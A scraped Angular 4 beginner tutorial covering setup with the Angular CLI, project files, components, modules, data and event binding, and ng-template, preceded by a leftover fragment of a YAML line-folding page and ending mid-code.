}, { "code": null, "e": 5546, "s": 5318, "text": "Line Folding allows breaking long lines for readability. More amounts of short lines mean better readability. Line folding is achieved by noting original semantics of long line. The following example demonstrates line folding −" }, { "code": null, "e": 5604, "s": 5546, "text": "%YAML 1.1\n--- !!str\n\"specific\\L\\\ntrimmed\\n\\n\\n\\\nas space\"" }, { "code": null, "e": 5672, "s": 5604, "text": "You can see the output for line folding in JSON format as follows −" }, { "code": null, "e": 5711, "s": 5672, "text": "\"specific\\u2028trimmed\\n\\n\\nas space\"\n" }, { "code": null, "e": 5743, "s": 5711, "text": "\n 33 Lectures \n 44 mins\n" }, { "code": null, "e": 5757, "s": 5743, "text": " Tarun Telang" }, { "code": null, "e": 5764, "s": 5757, "text": " Print" }, { "code": null, "e": 5775, "s": 5764, "text": " Add Notes" } ]
Angular 4 - Quick Guide
There are three major releases of Angular. The first version that was released is Angular1, which is also called AngularJS. Angular1 was followed by Angular2, which came in with a lot of changes when compared to Angular1. The structure of Angular is based on the components/services architecture. AngularJS was based on the model view controller. Angular 4 released in March 2017 proves to be a major breakthrough and is the latest release from the Angular team after Angular2. Angular 4 is almost the same as Angular 2. It has a backward compatibility with Angular 2. Projects developed in Angular 2 will work without any issues with Angular 4. Let us now see the new features and the changes made in Angular 4. The Angular team faced some versioning issues internally with their modules and due to the conflict they had to move on and release the next version of Angular – the Angular4. Let us now see the new features added to Angular 4 − Angular2 supported only the if condition. However, Angular 4 supports the if else condition as well. Let us see how it works using the ng-template. <span *ngIf="isavailable; else condition1">Condition is valid.</span> <ng-template #condition1>Condition is invalid</ng-template> With the help of as keyword you can store the value as shown below − <div *ngFor="let i of months | slice:0:5 as total"> Months: {{i}} Total: {{total.length}} </div> The variable total stores the output of the slice using the as keyword. Animation in Angular 4 is available as a separate package and needs to be imported from @angular/animations. In Angular2, it was available with @angular/core. It is still kept the same for its backward compatibility aspect. Angular 4 uses <ng-template> as the tag instead of <template>; the latter was used in Angular2. The reason Angular 4 changed <template> to <ng-template> is because of the name conflict of the <template> tag with the html <template> standard tag. It will deprecate completely going ahead. This is one of the major changes in Angular 4. Angular 4 is updated to a recent version of TypeScript, which is 2.2. This helps improve the speed and gives better type checking in the project. Angular 4 has added a new pipe title case, which changes the first letter of each word into uppercase. <div> <h2>{{ 'Angular 4 titlecase' | titlecase }}</h2> </div> The above line of code generates the following output – Angular 4 Titlecase. Search parameters to the http get api is simplified. We do not need to call URLSearchParams for the same as was being done in Angular2. Angular 4 applications are smaller and faster when compared to Angular2. It uses the TypeScript version 2.2, the latest version which makes the final compilation small in size. In this chapter, we will discuss the Environment Setup required for Angular 4. To install Angular 4, we require the following − Nodejs Npm Angular CLI IDE for writing your code Nodejs has to be greater than 4 and npm has to be greater than 3. To check if nodejs is installed on your system, type node –v in the terminal. This will help you see the version of nodejs currently installed on your system. C:\>node –v v6.11.0 If it does not print anything, install nodejs on your system. To install nodejs, go the homepage https://nodejs.org/en/download/ of nodejs and install the package based on your OS. The homepage of nodejs will look like the following − Based on your OS, install the required package. Once nodejs is installed, npm will also get installed along with it. To check if npm is installed or not, type npm –v in the terminal. It should display the version of the npm. C:\>npm –v 5.3.0 Angular 4 installations are very simple with the help of angular CLI. Visit the homepage https://cli.angular.io/ of angular to get the reference of the command. Type npm install –g @angular/cli, to install angular cli on your system. You will get the above installation in your terminal, once Angular CLI is installed. You can use any IDE of your choice, i.e., WebStorm, Atom, Visual Studio Code, etc. The details of the project setup is explained in the next chapter. AngularJS is based on the model view controller, whereas Angular 2 is based on the components structure. Angular 4 works on the same structure as Angular2 but is faster when compared to Angular2. Angular4 uses TypeScript 2.2 version whereas Angular 2 uses TypeScript version 1.8. This brings a lot of difference in the performance. To install Angular 4, the Angular team came up with Angular CLI which eases the installation. You need to run through a few commands to install Angular 4. Go to this site https://cli.angular.io to install Angular CLI. To get started with the installation, we first need to make sure we have nodejs and npm installed with the latest version. The npm package gets installed along with nodejs. Go to the nodejs site https://nodejs.org/en/. The latest version of Nodejs v6.11.0 is recommended for users. Users who already have nodejs greater than 4 can skip the above process. Once nodejs is installed, you can check the version of node in the command line using the command, node –v, as shown below − The command prompt shows v6.11.0. Once nodejs is installed, npm will also get installed along with it. To check the version of npm, type command npm –v in the terminal. It will display the version of npm as shown below. The version of npm is 3.10.10. Now that we have nodejs and npm installed, let us run the angular cli commands to install Angular 4. You will see the following commands on the webpage − npm install -g @angular/cli //command to install angular 4 ng new Angular 4-app // name of the project cd my-dream-app ng serve Let us start with the first command in the command line and see how it works. To start with, we will create an empty directory wherein, we will run the Angular CLI command. Enter the above command to install Angular 4. The installation process will start and will take a few minutes to complete. Once the above command to install is complete, the following Command Prompt appears − We have created an empty folder ProjectA4 and installed the Angular CLI command. We have also used -g to install Angular CLI globally. Now, you can create your Angular 4 project in any directory or folder and you don’t have to install Angular CLI project wise, as it is installed on your system globally and you can make use of it from any directory. Let us now check whether Angular CLI is installed or not. To check the installation, run the following command in the terminal − ng -v We get the @angular/cli version, which is at present 1.2.0. The node version running is 6.11.0 and also the OS details. The above details tell us that we have installed angular cli successfully and now we are ready to commence with our project. We have now installed Angular 4. Let us now create our first project in Angular 4. To create a project in Angular 4, we will use the following command − ng new projectname We will name the project ng new Angular 4-app. Let us now run the above command in the command line. The project Angular 4-app is created successfully. It installs all the required packages necessary for our project to run in Angular 4. Let us now switch to the project created, which is in the directory Angular 4-app. Change the directory in the command line - cd Angular 4-app. We will use Visual Studio Code IDE for working with Angular 4; you can use any IDE, i.e., Atom, WebStorm, etc. To download Visual Studio Code, go to https://code.visualstudio.com/ and click Download for Windows. Click Download for Windows for installing the IDE and run the setup to start using IDE. The Editor looks as follows − We have not started any project in it. Let us now take the project we have created using angular-cli. We will consider the Angular 4-app project. Let us open the Angular 4-app and see how the folder structure looks like. Now that we have the file structure for our project, let us compile our project with the following command − ng serve The ng serve command builds the application and starts the web server. The web server starts on port 4200. Type the url http://localhost:4200/ in the browser and see the output. Once the project is compiled, you will receive the following output − Once you run http://localhost:4200/ in the browser, you will be directed to the following screen − Let us now make some changes to display the following content − “Welcome to Angular 4 project” We have made changes in the files – app.component.html and app.component.ts. We will discuss more about this in our subsequent chapters. Let us complete the project setup. If you see we have used port 4200, which is the default port that angular–cli makes use of while compiling. You can change the port if you wish using the following command − ng serve --host 0.0.0.0 –port 4205 The Angular 4 app folder has the following folder structure − e2e − end to end test folder. Mainly e2e is used for integration testing and helps ensure the application works fine. e2e − end to end test folder. Mainly e2e is used for integration testing and helps ensure the application works fine. node_modules − The npm package installed is node_modules. You can open the folder and see the packages available. node_modules − The npm package installed is node_modules. You can open the folder and see the packages available. src − This folder is where we will work on the project using Angular 4. src − This folder is where we will work on the project using Angular 4. The Angular 4 app folder has the following file structure − .angular-cli.json − It basically holds the project name, version of cli, etc. .angular-cli.json − It basically holds the project name, version of cli, etc. .editorconfig − This is the config file for the editor. .editorconfig − This is the config file for the editor. .gitignore − A .gitignore file should be committed into the repository, in order to share the ignore rules with any other users that clone the repository. .gitignore − A .gitignore file should be committed into the repository, in order to share the ignore rules with any other users that clone the repository. karma.conf.js − This is used for unit testing via the protractor. All the information required for the project is provided in karma.conf.js file. karma.conf.js − This is used for unit testing via the protractor. All the information required for the project is provided in karma.conf.js file. package.json − The package.json file tells which libraries will be installed into node_modules when you run npm install. package.json − The package.json file tells which libraries will be installed into node_modules when you run npm install. At present, if you open the file in the editor, you will get the following modules added in it. "@angular/animations": "^4.0.0", "@angular/common": "^4.0.0", "@angular/compiler": "^4.0.0", "@angular/core": "^4.0.0", "@angular/forms": "^4.0.0", "@angular/http": "^4.0.0", "@angular/platform-browser": "^4.0.0", "@angular/platform-browser-dynamic": "^4.0.0", "@angular/router": "^4.0.0", In case you need to add more libraries, you can add those over here and run the npm install command. protractor.conf.js − This is the testing configuration required for the application. protractor.conf.js − This is the testing configuration required for the application. tsconfig.json − This basically contains the compiler options required during compilation. tsconfig.json − This basically contains the compiler options required during compilation. tslint.json − This is the config file with rules to be considered while compiling. tslint.json − This is the config file with rules to be considered while compiling. The src folder is the main folder, which internally has a different file structure. It contains the files described below. These files are installed by angular-cli by default. app.module.ts − If you open the file, you will see that the code has reference to different libraries, which are imported. Angular-cli has used these default libraries for the import – angular/core, platform-browser. The names itself explain the usage of the libraries. app.module.ts − If you open the file, you will see that the code has reference to different libraries, which are imported. Angular-cli has used these default libraries for the import – angular/core, platform-browser. The names itself explain the usage of the libraries. They are imported and saved into variables such as declarations, imports, providers, and bootstrap. import { BrowserModule } from '@angular/platform-browser'; import { NgModule } from '@angular/core'; import { AppComponent } from './app.component'; @NgModule({ declarations: [ AppComponent ], imports: [ BrowserModule ], providers: [], bootstrap: [AppComponent] }) export class AppModule { } declarations − In declarations, the reference to the components is stored. The Appcomponent is the default component that is created whenever a new project is initiated. We will learn about creating new components in a different section. imports − This will have the modules imported as shown above. At present, BrowserModule is part of the imports which is imported from @angular/platform-browser. providers − This will have reference to the services created. The service will be discussed in a subsequent chapter. bootstrap − This has reference to the default component created, i.e., AppComponent. app.component.css − You can write your css structure over here. Right now, we have added the background color to the div as shown below. app.component.css − You can write your css structure over here. Right now, we have added the background color to the div as shown below. .divdetails{ background-color: #ccc; } app.component.html − The html code will be available in this file. app.component.html − The html code will be available in this file. <!--The content below is only a placeholder and can be replaced.--> <div class = "divdetails"> <div style = "text-align:center"> <h1> Welcome to {{title}}! </h1> <img width = "300" src = "data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNv ZGluZz0idXRmLTgiPz4NCjwhLS0gR2VuZXJhdG9yOiBBZG9iZSBJbGx1c3RyYXRvciAxOS4xLjAsIFNWRyBFe HBvcnQgUGx1Zy1JbiAuIFNWRyBWZXJzaW9uOiA2LjAwIEJ1aWxkIDApICAtLT4NCjxzdmcgdmVyc2lvbj0iMS4 xIiBpZD0iTGF5ZXJfMSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaH R0cDovL3d3dy53My5vcmcvMTk5OS94bGluayIgeD0iMHB4IiB5PSIwcHgiDQoJIHZpZXdCb3g9IjAgMCAyNTAg MjUwIiBzdHlsZT0iZW5hYmxlLWJhY2tncm91bmQ6bmV3IDAgMCAyNTAgMjUwOyIgeG1sOnNwYWNlPSJwcmVzZXJ2 ZSI+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KCS5zdDB7ZmlsbDojREQwMDMxO30NCgkuc3Qxe2ZpbGw6I0M zMDAyRjt9DQoJLnN0MntmaWxsOiNGRkZGRkY7fQ0KPC9zdHlsZT4NCjxnPg0KCTxwb2x5Z29uIGNsYXNzPSJzdD AiIHBvaW50cz0iMTI1LDMwIDEyNSwzMCAxMjUsMzAgMzEuOSw2My4yIDQ2LjEsMTg2LjMgMTI1LDIzMCAxMjUsMj MwIDEyNSwyMzAgMjAzLjksMTg2LjMgMjE4LjEsNjMuMiAJIi8+DQoJPHBvbHlnb24gY2xhc3M9InN0MSIgcG9pbn RzPSIxMjUsMzAgMTI1LDUyLjIgMTI1LDUyLjEgMTI1LDE1My40IDEyNSwxNTMuNCAxMjUsMjMwIDEyNSwyMzAgMj AzLjksMTg2LjMgMjE4LjEsNjMuMiAxMjUsMzAgCSIvPg0KCTxwYXRoIGNsYXNzPSJzdDIiIGQ9Ik0xMjUsNTIuMU w2Ni44LDE4Mi42aDBoMjEuN2gwbDExLjctMjkuMmg0OS40bDExLjcsMjkuMmgwaDIxLjdoMEwxMjUsNTIuMUwxMj UsNTIuMUwxMjUsNTIuMUwxMjUsNTIuMQ0KCQlMMTI1LDUyLjF6IE0xNDIsMTM1LjRIMTA4bDE3LTQwLjlMMTQyLD EzNS40eiIvPg0KPC9nPg0KPC9zdmc+DQo="> </div> <h2>Here are some links to help you start: </h2> <ul> <li> <h2> <a target = "_blank" href="https://angular.io/tutorial">Tour of Heroes</a> </h2> </li> <li> <h2> <a target = "_blank" href = "https://github.com/angular/angular-cli/wiki"> CLI Documentation </a> </h2> </li> <li> <h2> <a target="_blank" href="http://angularjs.blogspot.ca/">Angular blog</a> </h2> </li> </ul> </div> This is the default html code currently available with the project creation. app.component.spec.ts − These are automatically generated files which contain unit tests for source component. app.component.spec.ts − These are automatically generated files which contain unit tests for source component. app.component.ts − The class for the component is defined over here. You can do the processing of the html structure in the .ts file. The processing will include activities such as connecting to the database, interacting with other components, routing, services, etc. app.component.ts − The class for the component is defined over here. You can do the processing of the html structure in the .ts file. The processing will include activities such as connecting to the database, interacting with other components, routing, services, etc. The structure of the file is as follows − import { Component } from '@angular/core'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'] }) export class AppComponent { title = 'app'; } You can save your images, js files in this folder. This folder has the details for the production or the dev environment. The folder contains two files. environment.prod.ts environment.ts Both the files have details of whether the final file should be compiled in the production environment or the dev environment. The additional file structure of Angular 4 app folder includes the following − This is a file that is usually found in the root directory of a website. This is the file which is displayed in the browser. <!doctype html> <html lang = "en"> <head> <meta charset = "utf-8"> <title>HTTP Search Param</title> <base href = "/"> <link href = "https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet"> <link href = "https://fonts.googleapis.com/css?family=Roboto|Roboto+Mono" rel="stylesheet"> <link href = "styles.c7c7b8bf22964ff954d3.bundle.css" rel="stylesheet"> <meta name = "viewport" content="width=device-width, initial-scale=1"> <link rel = "icon" type="image/x-icon" href="favicon.ico"> </head> <body> <app-root></app-root> </body> </html> The body has <app-root></app-root>. This is the selector which is used in app.component.ts file and will display the details from app.component.html file. main.ts is the file from where we start our project development. It starts with importing the basic module which we need. Right now if you see angular/core, angular/platform-browser-dynamic, app.module and environment is imported by default during angular-cli installation and project setup. import { enableProdMode } from '@angular/core'; import { platformBrowserDynamic } from '@angular/platform-browser-dynamic'; import { AppModule } from './app/app.module'; import { environment } from './environments/environment'; if (environment.production) { enableProdMode(); } platformBrowserDynamic().bootstrapModule(AppModule); The platformBrowserDynamic().bootstrapModule(AppModule) has the parent module reference AppModule. Hence, when it executes in the browser, the file that is called is index.html. Index.html internally refers to main.ts which calls the parent module, i.e., AppModule when the following code executes − platformBrowserDynamic().bootstrapModule(AppModule); When AppModule is called, it calls app.module.ts which further calls the AppComponent based on the boostrap as follows − bootstrap: [AppComponent] In app.component.ts, there is a selector: app-root which is used in the index.html file. This will display the contents present in app.component.html. The following will be displayed in the browser − This is mainly used for backward compatibility. This is the style file required for the project. Here, the unit test cases for testing the project will be handled. This is used during compilation, it has the config details that need to be used to run the application. This helps maintain the details for testing. It is used to manage the TypeScript definition. The final file structure looks as follows − Major part of the development with Angular 4 is done in the components. Components are basically classes that interact with the .html file of the component, which gets displayed on the browser. We have seen the file structure in one of our previous chapters. The file structure has the app component and it consists of the following files − app.component.css app.component.css app.component.html app.component.html app.component.spec.ts app.component.spec.ts app.component.ts app.component.ts app.module.ts app.module.ts The above files were created by default when we created new project using the angular-cli command. If you open up the app.module.ts file, it has some libraries which are imported and also a declarative which is assigned the appcomponent as follows − import { BrowserModule } from '@angular/platform-browser'; import { NgModule } from '@angular/core'; import { AppComponent } from './app.component'; @NgModule({ declarations: [ AppComponent ], imports: [ BrowserModule ], providers: [], bootstrap: [AppComponent] }) export class AppModule { } The declarations include the AppComponent variable, which we have already imported. This becomes the parent component. Now, angular-cli has a command to create your own component. However, the app component which is created by default will always remain the parent and the next components created will form the child components. Let us now run the command to create the component. ng g component new-cmp When you run the above command in the command line, you will receive the following output − C:\projectA4\Angular 4-app>ng g component new-cmp installing component create src\app\new-cmp\new-cmp.component.css create src\app\new-cmp\new-cmp.component.html create src\app\new-cmp\new-cmp.component.spec.ts create src\app\new-cmp\new-cmp.component.ts update src\app\app.module.ts Now, if we go and check the file structure, we will get the new-cmp new folder created under the src/app folder. The following files are created in the new-cmp folder − new-cmp.component.css − css file for the new component is created. new-cmp.component.css − css file for the new component is created. new-cmp.component.html − html file is created. new-cmp.component.html − html file is created. new-cmp.component.spec.ts − this can be used for unit testing. new-cmp.component.spec.ts − this can be used for unit testing. new-cmp.component.ts − here, we can define the module, properties, etc. new-cmp.component.ts − here, we can define the module, properties, etc. Changes are added to the app.module.ts file as follows − import { BrowserModule } from '@angular/platform-browser'; import { NgModule } from '@angular/core'; import { AppComponent } from './app.component'; import { NewCmpComponent } from './new-cmp/new-cmp.component'; // includes the new-cmp component we created @NgModule({ declarations: [ AppComponent, NewCmpComponent // here it is added in declarations and will behave as a child component ], imports: [ BrowserModule ], providers: [], bootstrap: [AppComponent] //for bootstrap the AppComponent the main app component is given. }) export class AppModule { } The new-cmp.component.ts file is generated as follows − import { Component, OnInit } from '@angular/core'; // here angular/core is imported . @Component({ // this is a declarator which starts with @ sign. The component word marked in bold needs to be the same. selector: 'app-new-cmp', // templateUrl: './new-cmp.component.html', // reference to the html file created in the new component. styleUrls: ['./new-cmp.component.css'] // reference to the style file. }) export class NewCmpComponent implements OnInit { constructor() { } ngOnInit() {} } If you see the above new-cmp.component.ts file, it creates a new class called NewCmpComponent, which implements OnInit.In, which has a constructor and a method called ngOnInit(). ngOnInit is called by default when the class is executed. Let us check how the flow works. Now, the app component, which is created by default becomes the parent component. Any component added later becomes the child component. When we hit the url in the http://localhost:4200/ browser, it first executes the index.html file which is shown below − <!doctype html> <html lang = "en"> <head> <meta charset = "utf-8"> <title>Angular 4App</title> <base href = "/"> <meta name="viewport" content="width = device-width, initial-scale = 1"> <link rel = "icon" type = "image/x-icon" href = "favicon.ico"> </head> <body> <app-root></app-root> </body> </html> The above is the normal html file and we do not see anything that is printed in the browser. Take a look at the tag in the body section. <app-root></app-root> This is the root tag created by the Angular by default. This tag has the reference in the main.ts file. import { enableProdMode } from '@angular/core'; import { platformBrowserDynamic } from '@angular/platform-browser-dynamic'; import { AppModule } from './app/app.module'; import { environment } from './environments/environment'; if (environment.production) { enableProdMode(); } platformBrowserDynamic().bootstrapModule(AppModule); AppModule is imported from the app of the main parent module, and the same is given to the bootstrap Module, which makes the appmodule load. Let us now see the app.module.ts file − import { BrowserModule } from '@angular/platform-browser'; import { NgModule } from '@angular/core'; import { AppComponent } from './app.component'; import { NewCmpComponent } from './new-cmp/new-cmp.component'; @NgModule({ declarations: [ AppComponent, NewCmpComponent ], imports: [ BrowserModule ], providers: [], bootstrap: [AppComponent] }) export class AppModule { } Here, the AppComponent is the name given, i.e., the variable to store the reference of the app. Component.ts and the same is given to the bootstrap. Let us now see the app.component.ts file. import { Component } from '@angular/core'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'] }) export class AppComponent { title = 'Angular 4 Project!'; } Angular core is imported and referred as the Component and the same is used in the Declarator as − @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'] }) In the declarator reference to the selector, templateUrl and styleUrl are given. The selector here is nothing but the tag which is placed in the index.html file that we saw above. The class AppComponent has a variable called title, which is displayed in the browser. The @Component uses the templateUrl called app.component.html which is as follows − <!--The content below is only a placeholder and can be replaced.--> <div style="text-align:center"> <h1> Welcome to {{title}}. </h1> </div> It has just the html code and the variable title in curly brackets. It gets replaced with the value, which is present in the app.component.ts file. This is called binding. We will discuss the concept of binding in a subsequent chapter. Now that we have created a new component called new-cmp. The same gets included in the app.module.ts file, when the command is run for creating a new component. app.module.ts has a reference to the new component created. Let us now check the new files created in new-cmp. import { Component, OnInit } from '@angular/core'; @Component({ selector: 'app-new-cmp', templateUrl: './new-cmp.component.html', styleUrls: ['./new-cmp.component.css'] }) export class NewCmpComponent implements OnInit { constructor() { } ngOnInit() {} } Here, we have to import the core too. The reference of the component is used in the declarator. The declarator has the selector called app-new-cmp and the templateUrl and styleUrl. The .html called new-cmp.component.html is as follows − <p> new-cmp works! </p> As seen above, we have the html code, i.e., the p tag. The style file is empty as we do not need any styling at present. But when we run the project, we do not see anything related to the new component getting displayed in the browser. Let us now add something and the same can be seen in the browser later. The selector, i.e., app-new-cmp needs to be added in the app.component .html file as follows − <!--The content below is only a placeholder and can be replaced.--> <div style="text-align:center"> <h1> Welcome to {{title}}. </h1> </div> <app-new-cmp></app-new-cmp> When the <app-new-cmp></app-new-cmp> tag is added, all that is present in the .html file of the new component created will get displayed on the browser along with the parent component data. Let us see the new component .html file and the new-cmp.component.ts file. import { Component, OnInit } from '@angular/core'; @Component({ selector: 'app-new-cmp', templateUrl: './new-cmp.component.html', styleUrls: ['./new-cmp.component.css'] }) export class NewCmpComponent implements OnInit { newcomponent = "Entered in new component created"; constructor() {} ngOnInit() { } } In the class, we have added one variable called new component and the value is “Entered in new component created”. The above variable is bound in the .new-cmp.component.html file as follows − <p> {{newcomponent}} </p> <p> new-cmp works! </p> Now since we have included the <app-new-cmp></app-new-cmp> selector in the app. component .html which is the .html of the parent component, the content present in the new component .html file (new-cmp.component.html) gets displayed on the browser as follows − Similarly, we can create components and link the same using the selector in the app.component.html file as per our requirements. Module in Angular refers to a place where you can group the components, directives, pipes, and services, which are related to the application. In case you are developing a website, the header, footer, left, center and the right section become part of a module. To define module, we can use the NgModule. When you create a new project using the Angular –cli command, the ngmodule is created in the app.module.ts file by default and it looks as follows − import { BrowserModule } from '@angular/platform-browser'; import { NgModule } from '@angular/core'; import { AppComponent } from './app.component'; @NgModule({ declarations: [ AppComponent ], imports: [ BrowserModule ], providers: [], bootstrap: [AppComponent] }) export class AppModule { } The NgModule needs to be imported as follows − import { NgModule } from '@angular/core'; The structure for the ngmodule is as shown below − @NgModule({ declarations: [ AppComponent ], imports: [ BrowserModule ], providers: [], bootstrap: [AppComponent] }) It starts with @NgModule and contains an object which has declarations, import s, providers and bootstrap. It is an array of components created. If any new component gets created, it will be imported first and the reference will be included in declarations as shown below − declarations: [ AppComponent, NewCmpComponent ] It is an array of modules required to be used in the application. It can also be used by the components in the Declaration array. For example, right now in the @NgModule we see the Browser Module imported. In case your application needs forms, you can include the module as follows − import { FormsModule } from '@angular/forms'; The import in the @NgModule will be like the following − imports: [ BrowserModule, FormsModule ] This will include the services created. This includes the main app component for starting the execution. Data Binding is available right from AngularJS, Angular 2 and is now available in Angular 4 as well. We use curly braces for data binding - {{}}; this process is called interpolation. We have already seen in our previous examples how we declared the value to the variable title and the same is printed in the browser. The variable in the app.component.html file is referred as {{title}} and the value of title is initialized in the app.component.ts file and in app.component.html, the value is displayed. Let us now create a dropdown of months in the browser. To do that , we have created an array of months in app.component.ts as follows − import { Component } from '@angular/core'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'] }) export class AppComponent { title = 'Angular 4 Project!'; // declared array of months. months = ["January", "Feburary", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"]; } The month’s array that is shown above is to be displayed in a dropdown in the browser. For this, we will use the following line of code − <!--The content below is only a placeholder and can be replaced. --> <div style="text-align:center"> <h1> Welcome to {{title}}. </h1> </div> <div> Months : <select> <option *ngFor="let i of months">{{i}}</option> </select> </div> We have created the normal select tag with option. In option, we have used the for loop. The for loop is used to iterate over the months’ array, which in turn will create the option tag with the value present in the months. The syntax for in Angular is *ngFor = “let I of months” and to get the value of months we are displaying it in {{i}}. The two curly brackets help with data binding. You declare the variables in your app.component.ts file and the same will be replaced using the curly brackets. Let us see the output of the above month’s array in the browser The variable that is set in the app.component.ts can be bound with the app.component.html using the curly brackets; for example, {{}}. Let us now display the data in the browser based on condition. Here, we have added a variable and assigned the value as true. Using the if statement, we can hide/show the content to be displayed. import { Component } from '@angular/core'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'] }) export class AppComponent { title = 'Angular 4 Project!'; //array of months. months = ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"]; isavailable = true; //variable is set to true } <!--The content below is only a placeholder and can be replaced.--> <div style = "text-align:center"> <h1> Welcome to {{title}}. </h1> </div> <div> Months : <select> <option *ngFor = "let i of months">{{i}}</option> </select> </div> <br/> <div> <span *ngIf = "isavailable">Condition is valid.</span> //over here based on if condition the text condition is valid is displayed. If the value of isavailable is set to false it will not display the text. </div> Let us try the above example using the IF THEN ELSE condition. import { Component } from '@angular/core'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'] }) export class AppComponent { title = 'Angular 4 Project!'; //array of months. months = ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"]; isavailable = false; } In this case, we have made the isavailable variable as false. To print the else condition, we will have to create the ng-template as follows − <ng-template #condition1>Condition is invalid</ng-template> The full code looks like this − <!--The content below is only a placeholder and can be replaced.--> <div style="text-align:center"> <h1> Welcome to {{title}}. </h1> </div> <div> Months : <select> <option *ngFor="let i of months">{{i}}</option> </select> </div> <br/> <div> <span *ngIf="isavailable; else condition1">Condition is valid.</span> <ng-template #condition1>Condition is invalid</ng-template> </div> If is used with the else condition and the variable used is condition1. The same is assigned as an id to the ng-template, and when the available variable is set to false the text Condition is invalid is displayed. The following screenshot shows the display in the browser. Let us now use the if then else condition. import { Component } from '@angular/core'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'] }) export class AppComponent { title = 'Angular 4 Project!'; //array of months. months = ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"]; isavailable = true; } Now, we will make the variable isavailable as true. In the html, the condition is written in the following way − <!--The content below is only a placeholder and can be replaced.--> <div style="text-align:center"> <h1> Welcome to {{title}}. </h1> </div> <div> Months : <select> <option *ngFor="let i of months">{{i}}</option> </select> </div> <br/> <div> <span *ngIf="isavailable; then condition1 else condition2">Condition is valid.</span> <ng-template #condition1>Condition is valid</ng-template> <ng-template #condition2>Condition is invalid</ng-template> </div> If the variable is true, then condition1, else condition2. Now, two templates are created with id #condition1 and #condition2. The display in the browser is as follows − In this chapter, we will discuss how Event Binding works in Angular 4. When a user interacts with an application in the form of a keyboard movement, a mouse click, or a mouseover, it generates an event. These events need to be handled to perform some kind of action. This is where event binding comes into picture. Let us consider an example to understand this better. <!--The content below is only a placeholder and can be replaced.--> <div style = "text-align:center"> <h1> Welcome to {{title}}. </h1> </div> <div> Months : <select> <option *ngFor = "let i of months">{{i}}</option> </select> </div> <br/> <div> <span *ngIf = "isavailable; then condition1 else condition2"> Condition is valid. </span> <ng-template #condition1>Condition is valid</ng-template> <ng-template #condition2>Condition is invalid</ng-template> </div> <button (click)="myClickFunction($event)"> Click Me </button> In the app.component.html file, we have defined a button and added a function to it using the click event. Following is the syntax to define a button and add a function to it. (click)="myClickFunction($event)" The function is defined in the .ts file: app.component.ts import { Component } from '@angular/core'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'] }) export class AppComponent { title = 'Angular 4 Project!'; //array of months. months = ["January", "Feburary", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"]; isavailable = true; myClickFunction(event) { //just added console.log which will display the event details in browser on click of the button. alert("Button is clicked"); console.log(event); } } Upon clicking the button, the control will come to the function myClickFunction and a dialog box will appear, which displays the Button is clicked as shown in the following screenshot − Let us now add the change event to the dropdown. The following line of code will help you add the change event to the dropdown − <!--The content below is only a placeholder and can be replaced.--> <div style = "text-align:center"> <h1> Welcome to {{title}}. </h1> </div> <div> Months : <select (change) = "changemonths($event)"> <option *ngFor = "let i of months">{{i}}</option> </select> </div> <br/> <div> <span *ngIf = "isavailable; then condition1 else condition2"> Condition is valid. </span> <ng-template #condition1>Condition is valid</ng-template> <ng-template #condition2>Condition is invalid</ng-template> </div> <button (click) = "myClickFunction($event)">Click Me</button> The function is declared in the app.component.ts file − import { Component } from '@angular/core'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'] }) export class AppComponent { title = 'Angular 4 Project!'; //array of months. months = ["January", "Feburary", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"]; isavailable = true; myClickFunction(event) { alert("Button is clicked"); console.log(event); } changemonths(event) { console.log("Changed month from the Dropdown"); console.log(event); } } The console message “Changed month from the Dropdown” is displayed in the console along with the event. Let us add an alert message in app.component.ts when the value from the dropdown is changed as shown below − import { Component } from '@angular/core'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'] }) export class AppComponent { title = 'Angular 4 Project!'; //array of months. months = ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"]; isavailable = true; myClickFunction(event) { //just added console.log which will display the event details in browser on click of the button. alert("Button is clicked"); console.log(event); } changemonths(event) { alert("Changed month from the Dropdown"); } } When the value in dropdown is changed, a dialog box will appear and the following message will be displayed - “Changed month from the Dropdown”. Angular 4 uses the <ng-template> as the tag instead of <template> which is used in Angular2. The reason Angular 4 changed <template> to <ng-template> is because there is a name conflict between the <template> tag and the html <template> standard tag. It will deprecate completely going ahead. This is one of the major changes in Angular 4. Let us now use the template along with the if else condition and see the output. <!--The content below is only a placeholder and can be replaced.--> <div style = "text-align:center"> <h1> Welcome to {{title}}. </h1> </div> <div> Months : <select (change) = "changemonths($event)" name = "month"> <option *ngFor = "let i of months">{{i}}</option> </select> </div> <br/> <div> <span *ngIf = "isavailable;then condition1 else condition2">Condition is valid.</span> <ng-template #condition1>Condition is valid from template</ng-template> <ng-template #condition2>Condition is invalid from template</ng-template> </div> <button (click) = "myClickFunction($event)">Click Me</button> For the Span tag, we have added the if statement with the else condition and will call template condition1, else condition2. The templates are to be called as follows − <ng-template #condition1>Condition is valid from template</ng-template> <ng-template #condition2>Condition is invalid from template</ng-template> If the condition is true, then the condition1 template is called, otherwise condition2. import { Component } from '@angular/core'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'] }) export class AppComponent { title = 'Angular 4 Project!'; //array of months. months = ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"]; 